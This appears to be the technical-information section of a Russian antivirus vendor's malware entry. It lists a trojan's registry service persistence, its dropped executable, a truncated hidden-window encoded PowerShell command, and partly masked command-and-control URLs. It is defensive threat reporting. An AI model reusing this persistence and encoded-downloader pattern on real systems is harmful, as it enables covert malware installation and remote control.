Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\serverordered] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\serverordered] 'ImagePath' = '"<SYSTEM32>\serverordered.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAASwBqAGUAdABmAGoAdwB6AGoAaQBjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFoAaABrAGoAagBhAHoAbwBmAGoAcQAgACMAPgAgACQAQQBuAHEAbwBoAGIAbwBkAGgAPQAnAEwAZg...
- %HOMEPATH%\332.exe
- %HOMEPATH%\332.exe в <SYSTEM32>\serverordered.exe
- http://19#.#17.1.149/enabled/
- http://45.##.79.249:443/scripts/enabled/ringin/ via 45.##.79.249
- DNS ASK ar###ore.com.vn
- '%HOMEPATH%\332.exe'
- '<SYSTEM32>\serverordered.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAASwBqAGUAdABmAGoAdwB6AGoAaQBjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFoAaABrAGoAagBhAHoAbwBmAGoAcQAgACMAPgAgACQAQQBuAHEAbwBoAGIAbwBkAGgAPQAnAEwAZg...' (со скрытым окном)